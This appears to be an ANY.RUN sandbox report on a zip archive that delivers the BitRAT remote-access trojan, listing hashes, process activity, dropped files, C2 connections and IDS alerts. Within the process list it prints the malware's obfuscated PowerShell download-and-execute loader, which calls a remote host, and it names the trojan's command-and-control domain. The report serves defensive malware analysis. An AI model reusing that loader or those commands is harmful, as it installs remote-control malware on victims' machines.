File name:

XNSRUYFKNNERWHVPOJCOXE_COPY.zip

Full analysis: https://app.any.run/tasks/8978baf2-76d2-4a0b-b9cf-dc6d2e5bb1a8
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: May 20, 2022, 21:53:29
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
bitrat
rat
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

A016E9EEA0E58CAD858302954A7860E3

SHA1:

2EBC995D7CF249E152B19985F441AEFC7F22D7DC

SHA256:

9FA4CA06A732F3C1EC1B31DB6592643F7EFC69092E85203DE40C25DC630D697B

SSDEEP:

48:9RMSGzT9fPlEhNKEiq9VWtANU3dAuVeeqhh269CsknR:3MdzTAnPiqrSA63qe/68XnR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2964)

    • BITRAT was detected

      • aspnet_regbrowsers.exe (PID: 1732)

    • Connects to CnC server

      • aspnet_regbrowsers.exe (PID: 1732)

  • SUSPICIOUS

    • Checks supported languages

      • WinRAR.exe (PID: 2944)
      • WinRAR.exe (PID: 940)
      • WScript.exe (PID: 3224)
      • PoWERSHELL.exe (PID: 660)
      • powershell.exe (PID: 604)
      • WScript.exe (PID: 1904)
      • PoWERSHELL.exe (PID: 2528)
      • cmd.exe (PID: 2964)
      • powershell.exe (PID: 3092)
      • aspnet_regbrowsers.exe (PID: 1732)

    • Reads the computer name

      • WinRAR.exe (PID: 2944)
      • WinRAR.exe (PID: 940)
      • WScript.exe (PID: 3224)
      • PoWERSHELL.exe (PID: 660)
      • WScript.exe (PID: 1904)
      • PoWERSHELL.exe (PID: 2528)
      • powershell.exe (PID: 3092)
      • aspnet_regbrowsers.exe (PID: 1732)
      • powershell.exe (PID: 604)

    • Application launched itself

      • WinRAR.exe (PID: 2944)
      • PoWERSHELL.exe (PID: 660)

    • Executes scripts

      • WinRAR.exe (PID: 940)
      • powershell.exe (PID: 604)

    • Executed via WMI

      • PoWERSHELL.exe (PID: 660)
      • PoWERSHELL.exe (PID: 2528)

    • Executes PowerShell scripts

      • PoWERSHELL.exe (PID: 660)
      • PoWERSHELL.exe (PID: 2528)
      • PoWERSHELL.exe (PID: 660)

    • Reads Environment values

      • PoWERSHELL.exe (PID: 660)

    • Starts CMD.EXE for commands execution

      • PoWERSHELL.exe (PID: 2528)

    • Creates files in the program directory

      • PoWERSHELL.exe (PID: 660)

  • INFO

    • Checks Windows Trust Settings

      • WScript.exe (PID: 3224)
      • PoWERSHELL.exe (PID: 660)
      • WScript.exe (PID: 1904)
      • PoWERSHELL.exe (PID: 2528)
      • powershell.exe (PID: 3092)
      • powershell.exe (PID: 604)

    • Reads settings of System Certificates

      • powershell.exe (PID: 604)
      • PoWERSHELL.exe (PID: 660)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: XNSRUYFKNNERWHVPOJCOXE_COPY.iso
ZipUncompressedSize: 65536
ZipCompressedSize: 1960
ZipCRC: 0xecb32fd9
ZipModifyDate: 2022:05:05 00:45:01
ZipCompression: Deflated
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
10
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs winrar.exe no specs wscript.exe no specs powershell.exe powershell.exe no specs wscript.exe no specs powershell.exe no specs cmd.exe no specs powershell.exe no specs #BITRAT aspnet_regbrowsers.exe

Process information

PID
CMD
Path
Indicators
Parent process
604"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.ps1'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—PoWERSHELL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
660PoWERSHELL $QNOKTAWSRJKGWJSHBCPCFL = '[S9]=/(!)!043$@&2=90$43@EM.I8-=^-4*}*-9*1%5_!{2708MREAdER]'.Replace('9]=/(!)!043$@&2=90$43@','ySt').Replace('8-=^-4*}*-9*1%5_!{2708','O.StREA');$PNNQQSZGEAVRXAOLFEUJOU = ($QNOKTAWSRJKGWJSHBCPCFL -Join '')| .('{1}{0}'-f'EX','I');$COHGIKJSUFNFGPJRAPVHLS = '[SyS})%&/$]8{5!}(#-#7=#*%8T.W0*}*2-466[&+07+]9{)52*ST]'.Replace('})%&/$]8{5!}(#-#7=#*%8','TEm.NE').Replace('0*}*2-466[&+07+]9{)52*','EbREquE');$SBSBTHYIFEEREFKLLIEPKU = ($COHGIKJSUFNFGPJRAPVHLS -Join '')| .('{1}{0}'-f'EX','I');$RYRNVKOCGZCRDFCOUNJNQC = 'Cr<4_5}^<}6)<{9^]2_08]9<TE'.Replace('<4_5}^<}6)<{9^]2_08]9<','Ea');$JKUCDINFLQUKZJZYFANAHI = 'GE89<4_[<8=7&5+]$0<-7/[)onSE'.Replace('89<4_[<8=7&5+]$0<-7/[)','tRESp');$UNNCGWQRVJUISSSQZQVNOX = 'GE<]*[9[%+$9f7f81a39-5f63-5b42-9efd-1f13b5431005lt;2)07)]((^]REam'.Replace('<]*[9[%+$9f7f81a39-5f63-5b42-9efd-1f13b5431005lt;2)07)]((^]','tRESponSESt');$VYCOHWPANUOYTIVXABGIRA = 'RE!74<\!0+=}38&{5{88)*61nD'.Replace('!74<\!0+=}38&{5{88)*61','aDToE'); .('{1}{0}'-f'EX','I')($PNNQQSZGEAVRXAOLFEUJOU::new($SBSBTHYIFEEREFKLLIEPKU::$RYRNVKOCGZCRDFCOUNJNQC('https://viaescoltacargas.com.br/error/Server.txt').$JKUCDINFLQUKZJZYFANAHI().$UNNCGWQRVJUISSSQZQVNOX()).$VYCOHWPANUOYTIVXABGIRA())C:\Windows\System32\WindowsPowerShell\v1.0\PoWERSHELL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
940"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Rar$DIa2944.28381\XNSRUYFKNNERWHVPOJCOXE_COPY.isoC:\Program Files\WinRAR\WinRAR.exe—WinRAR.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
1732"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
aspnet_regbrowsers.exe
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\aspnet_regbrowsers.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\user32.dll
1904"C:\Windows\System32\WScript.exe" "C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.vbs" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2528PoWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.batC:\Windows\System32\WindowsPowerShell\v1.0\PoWERSHELL.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\lpk.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2944"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\XNSRUYFKNNERWHVPOJCOXE_COPY.zip"C:\Program Files\WinRAR\WinRAR.exe—Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shlwapi.dll
2964C:\Windows\system32\cmd.exe /c ""C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.bat""C:\Windows\system32\cmd.exe—PoWERSHELL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3092PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\STZZWZQIZROROQNBKKIIKI\TDUPNFANRGSEVXRWSXZLEE.ps1'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\atl.dll
c:\windows\system32\sechost.dll
3224"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa940.29104\XNSRUYFKNNERWHVPOJCOXE_COPY.VBS" C:\Windows\System32\WScript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
10 549
Read events
10 461
Write events
88
Delete events
0

Modification events

(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2944) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\XNSRUYFKNNERWHVPOJCOXE_COPY.zip
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2944) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
0
Suspicious files
9
Text files
5
Unknown types
2

Dropped files

PID
Process
Filename
Type
940WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa940.29104\XNSRUYFKNNERWHVPOJCOXE_COPY.VBStext
MD5:—
SHA256:—
660PoWERSHELL.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:—
SHA256:—
604powershell.exeC:\Users\admin\AppData\Local\Temp\cirikulh.1g1.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3092powershell.exeC:\Users\admin\AppData\Local\Temp\iggxalee.rwg.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2528PoWERSHELL.exeC:\Users\admin\AppData\Local\Temp\bn45guay.iwk.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2944WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa2944.28381\XNSRUYFKNNERWHVPOJCOXE_COPY.isogmc
MD5:—
SHA256:—
604powershell.exeC:\Users\admin\AppData\Local\Temp\utis0xwy.1e3.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
604powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
3092powershell.exeC:\Users\admin\AppData\Local\Temp\21ijuihf.q1k.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2528PoWERSHELL.exeC:\Users\admin\AppData\Local\Temp\ynyhzowb.do5.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
4
Threats
5

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
660
PoWERSHELL.exe
187.110.226.122:443
viaescoltacargas.com.br
Mob Servicos de Telecomunicacoes Ltda
BR
unknown
1732
aspnet_regbrowsers.exe
194.147.140.17:9300
bitrat9300.duckdns.org
—
—
malicious

DNS requests

Domain
IP
Reputation
viaescoltacargas.com.br
  • 187.110.226.122
unknown
bitrat9300.duckdns.org
  • 194.147.140.17
unknown

Threats

PID
Process
Class
Message
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1732
aspnet_regbrowsers.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 25
1732
aspnet_regbrowsers.exe
A Network Trojan was detected
ET TROJAN Observed Malicious SSL Cert (BitRAT CnC)
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
XNSRUYFKNNERWHVPOJCOXE_COPY.zip